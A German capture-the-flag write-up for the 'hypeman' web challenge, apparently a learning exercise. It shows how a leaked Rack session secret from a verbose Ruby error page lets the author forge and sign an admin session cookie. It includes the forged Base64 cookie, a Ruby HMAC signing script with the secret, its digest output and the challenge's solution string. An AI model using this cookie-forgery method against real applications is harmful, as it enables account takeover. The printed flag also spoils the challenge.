Auch bei dieser Challenge (hypeman) wird uns nur eine Webseite genannt, die wir auch sofort aufrufen.
Zunächst steht uns nur ein Login zur Verfügung. Da hier jedoch zusätzlich auch ein neuer Benutzer erstellt werden kann, legen wir einen neuen Account an und loggen uns ein.
Andere Benutzer haben hier offensichtlich bereits Eintäge angelegt. Aber ganz oben befindet sich auch ein Schlüssel des Benutzers “admin”. Dieser könnte unser Ziel sein und die Lösung zur Challenge beinhalten. Ein klick auf “show” zeigt uns jedoch einen Fehler.
Die Benutzernamen stimmen nicht überein, da wir uns ohne Passwort nicht als “admin” einloggen können. Vielleicht können wir unseren Benutzernamen aber an anderer Stelle ändern. Ein Blick in die Cookies zeigt uns Folgendes:
Der Cookie liegt im Base64-Format vor. Zusätzlich ist ein Hash angehängt worden. Dekodiert man den Cookie, erhält man folgenden Inhalt:
Hier finden wir unseren Benutzernamen “rup0rt”!! Wenn wir diesen nun zu “admin” ändern, werden wir jedoch abgemeldet, anstatt als “admin” anerkannt zu werden. Der Cookie muss also einen Schutz von unbefugter Veränderung besitzen. Das könnte die Funktion des angehängten Hash-Wertes sein.
Wir suchen im Internet nach dem Namen des Cookies “rack.session” und finden den Quellcode auf GitHub. Hier finden wir diesen Quellcode vor:
[...] if @secrets.size > 0 && session_data session_data, digest = session_data.split("--") session_data = nil unless digest_match?(session_data, digest) end [...] def digest_match?(data, digest) return unless data && digest @secrets.any? do |secret| Rack::Utils.secure_compare(digest, generate_hmac(data, secret)) end end
Der “digest” befindet sich hinter dem Cookie mit “–” getrennt (Zeile 4). Nur wenn der “digest” korrekt ist (digest_match) wird der Cookie akzeptiert (Zeile 5). Der Digest berechnet sich aus der Funktion generate_hmac() der neben den Daten auch ein Wert “secret” übergeben wird.
Diesen Wert kennen wir jedoch (noch) nicht. Da aber die “show exceptions” in ruby aktiviert sind und somit eine sehr umfangreiche Fehlerseite ausgegeben wird, können wir auch die Zeile “rack.session.options” auslesen:
Mit diesem Wissen lässt sich nun ein gefälschter Cookie signieren. Zunächst erstellen wir einen neuen rack.session Cookie, der folgendermaßen aussieht:
Kodiert man diesen nun in Base64, erhält man:
BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFN2U5ZWE5YTM5YTI4NDhkNWI1Nzcy Mzg5MTBlNDcwNTUwOWVmZGRkMWMyYmNlMGRiNWE3YzI0YTM0NTVjYzVjMUki DXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItMzYwOTI0 OGJmYWRmZWZmNDEwN2VlMjY2MmY4Mzk1ZTg5ODdjNTNhMUkiGUhUVFBfQUND RVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5 MjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItYWJm MDQ5YzA0M2QzZDVlM2RhNzkyNjU4N2VkYjRhMmM5OThhMTIyYUkiCWNzcmYG OwBGIkUyMzNkOWEyMGExNTYyMzdhYTU3ODE0ZDQ4NzVkZTI3ZDk1YzFjNzE5 ZGEzMTMyYThkZTIyODc5NThiMTIzZjU1SSIOdXNlcl9uYW1lBjsARkkiCmFk bWluBjsAVA==
Dieser Cookie muss nun noch signiert werden. Dazu erstellen wir aus dem originalen Quellcode ein Ruby-Skript:
#!/usr/bin/ruby require 'openssl' def generate_hmac(data, secret) OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data) end data = "BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFN2U5ZWE5YTM5YTI4NDhkNWI1Nzcy\nMzg5MTBlNDcwNTUwOWVmZGRkMWMyYmNlMGRiNWE3YzI0YTM0NTVjYzVjMUki\nDXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItMzYwOTI0\nOGJmYWRmZWZmNDEwN2VlMjY2MmY4Mzk1ZTg5ODdjNTNhMUkiGUhUVFBfQUND\nRVBUX0VOQ09ESU5HBjsARiItYTBiZmM4NzZkNjhmZTdhZWE3MDBkYTVlYTg5\nMjVhYmFjNmYyZjc5NEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItYWJm\nMDQ5YzA0M2QzZDVlM2RhNzkyNjU4N2VkYjRhMmM5OThhMTIyYUkiCWNzcmYG\nOwBGIkUyMzNkOWEyMGExNTYyMzdhYTU3ODE0ZDQ4NzVkZTI3ZDk1YzFjNzE5\nZGEzMTMyYThkZTIyODc5NThiMTIzZjU1SSIOdXNlcl9uYW1lBjsARkkiCmFk\nbWluBjsAVA==\n" secret = 'wroashsoxDiculReejLykUssyifabEdGhovHabno' print generate_hmac(data, secret) + "\n"
Nach der Ausführung erhalten wir diese Ausgabe:
rup0rt@lambda:~$ ./hypeman.rb
d4d635503ba105b88430acc6a492a270ee6dd8f0
Fügt man diesen “digest” nun mit “–” getrennt an den Base64-String an und ersetzt seinen Cookie im Browser, wird man tatsächlich als “admin” erkannt. So lässt sich jetzt auch der “key” des “admins” auslesen:
Die Lösung lautet “watch out for this Etdeksogav“.